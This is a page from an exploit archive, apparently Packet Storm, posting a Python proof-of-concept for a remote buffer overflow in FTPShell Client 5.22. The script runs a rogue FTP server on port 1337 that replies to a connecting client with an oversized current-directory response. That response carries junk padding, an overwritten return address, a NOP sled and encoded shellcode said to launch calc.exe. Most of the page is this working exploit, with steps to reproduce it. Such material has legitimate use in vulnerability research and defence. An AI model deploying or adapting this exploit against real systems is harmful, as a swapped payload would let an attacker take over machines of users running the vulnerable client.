exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FTPShell Client 5.22 Remote Buffer Overflow

FTPShell Client 5.22 Remote Buffer Overflow
Posted Jul 27, 2018
Authored by Shubham Singh

FTPShell Client version 5.22 suffers from a remote buffer overflow vulnerability.

tags | exploit, remote, overflow
SHA-256 | 93f19384fadcce430aec104a42aacbbffaeb61937eec9731334566047aea5368

FTPShell Client 5.22 Remote Buffer Overflow

Change Mirror Download
#!/usr/bin/python

# Exploit Title : FTPShell Client 5.22 - Remote Buffer Overflow
# Discovery by : Shubham Singh
# Known As : Spirited Wolf [Twitter: @Pwsecspirit]
# Email : spiritedwolf@protonmail.com
# Youtube Channel : www.youtube.com/c/Pentestingwithspirit
# Discovey Date : 17/07/2018
# Software Link : https://ftpshell-client.soft32.com/
# Tested Version : 5.22
# Tested on OS : Windows XP Service Pack 3 x86
# Steps to Reproduce: Run the python script to start the exploit on your favourite port number and then open FTPShell Client 5.22 software , give your IP Address and port and click on connect.
# Greetz : @hexachordanu @FuzzySec @LiveOverflow
import socket
import sys

port = 1337
junk = "A" * 400
#Badchars \x00\x0a\x0d\x22
#7CAD6A3E 55 PUSH EBP
eip = "\x3e\x6a\xad\x7c" #!mona jmp -r ebp
nops = "\x90" * 20
#Shellcode: calc.exe
shellcode = "\xb8\x01\xf9\x4b\x3e\xda\xd3\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x31\x83\xee\xfc\x31\x46\x0f\x03\x46\x0e\x1b\xbe\xc2\xf8\x59\x41\x3b\xf8\x3d\xcb\xde\xc9\x7d\xaf\xab\x79\x4e\xbb\xfe\x75\x25\xe9\xea\x0e\x4b\x26\x1c\xa7\xe6\x10\x13\x38\x5a\x60\x32\xba\xa1\xb5\x94\x83\x69\xc8\xd5\xc4\x94\x21\x87\x9d\xd3\x94\x38\xaa\xae\x24\xb2\xe0\x3f\x2d\x27\xb0\x3e\x1c\xf6\xcb\x18\xbe\xf8\x18\x11\xf7\xe2\x7d\x1c\x41\x98\xb5\xea\x50\x48\x84\x13\xfe\xb5\x29\xe6\xfe\xf2\x8d\x19\x75\x0b\xee\xa4\x8e\xc8\x8d\x72\x1a\xcb\x35\xf0\xbc\x37\xc4\xd5\x5b\xb3\xca\x92\x28\x9b\xce\x25\xfc\x97\xea\xae\x03\x78\x7b\xf4\x27\x5c\x20\xae\x46\xc5\x8c\x01\x76\x15\x6f\xfd\xd2\x5d\x9d\xea\x6e\x3c\xcb\xed\xfd\x3a\xb9\xee\xfd\x44\xed\x86\xcc\xcf\x62\xd0\xd0\x05\xc7\x2e\x9b\x04\x61\xa7\x42\xdd\x30\xaa\x74\x0b\x76\xd3\xf6\xbe\x06\x20\xe6\xca\x03\x6c\xa0\x27\x79\xfd\x45\x48\x2e\xfe\x4f\x2b\xb1\x6c\x13\x82\x54\x15\xb6\xda"
padding = "C" * (1000 - len(junk) - len(eip) -len(shellcode))
buffer = junk + eip + nops + shellcode + padding

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", port))
s.listen(5)
print("FTP server started on port: "+str(port)+"\r\n")
except:
print("Failed to bind the server to port: "+str(port)+"\r\n")

while True:
conn, addr = s.accept()
conn.send('220 Welcome to your spirited wolf FTP server\r\n')
print(conn.recv(1024))
conn.send("331 OK\r\n")
print(conn.recv(1024))
conn.send('230 OK\r\n')
print(conn.recv(1024))
conn.send('220 "'+buffer+'" is current directory\r\n')

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close